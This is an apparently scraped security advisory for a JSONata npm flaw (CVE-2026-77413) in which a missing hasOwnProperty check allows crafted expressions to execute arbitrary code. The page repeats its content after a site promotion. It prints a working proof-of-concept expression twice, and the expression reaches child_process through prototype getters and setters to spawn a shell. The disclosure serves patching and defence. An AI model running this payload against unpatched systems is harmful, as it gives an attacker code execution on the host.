JSONata: Arbitrary Code Execution via crafted JSONata expressions

CRITICAL 9.3CVE-2026-77413 · GHSA-8gq3-vp5j-2grp · Published 21/08/2026 · updated 12/10/2026

Package	Affected versions	Patched versions
jsonata npm	`≥ 2.0.0, < 2.2.0< 1.8.8`	`2.2.01.8.8`

Description

Impact

Before JSONata 2.2.0 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a missing hasOwnProperty check in the lookup function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705

This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the 2.2.0 release, and ported in the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
   __lookupSetter__('__proto__')(constructor);
   __defineGetter__('l', constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()"));
   valueOf().l
)
`);

await expression.evaluate({});

NVD description

JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.0, the src/functions.js lookup function lacked an Object.prototype.hasOwnProperty check and allowed crafted expressions to access inherited prototype members. An attacker able to supply an expression could use inherited prototype setters and getters, constructor access, valueOf, and process.getBuiltinModule to reach the child_process module and execute arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.0.

References

jsonata-js/jsonata security advisory · WEB
jsonata-js/jsonata#794 · WEB
jsonata-js/jsonata commit 4b217d5 · WEB
jsonata-js/jsonata commit 4c5f4ad · WEB
jsonata-js/jsonata · PACKAGE
jsonata-js/jsonata release v1.8.8 · WEB
jsonata-js/jsonata release v2.2.0 · WEB

Running one of these products? Scan your site to see whether it exposes a vulnerable version.

Scan my site free

Package

Affected versions

Patched versions

jsonata

npm

≥ 2.0.0, < 2.2.0< 1.8.8

2.2.01.8.8

Description

Impact

This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the 2.2.0 release, and ported in the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
   __lookupSetter__('__proto__')(constructor);
   __defineGetter__('l', constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()"));
   valueOf().l
)
`);

await expression.evaluate({});

NVD description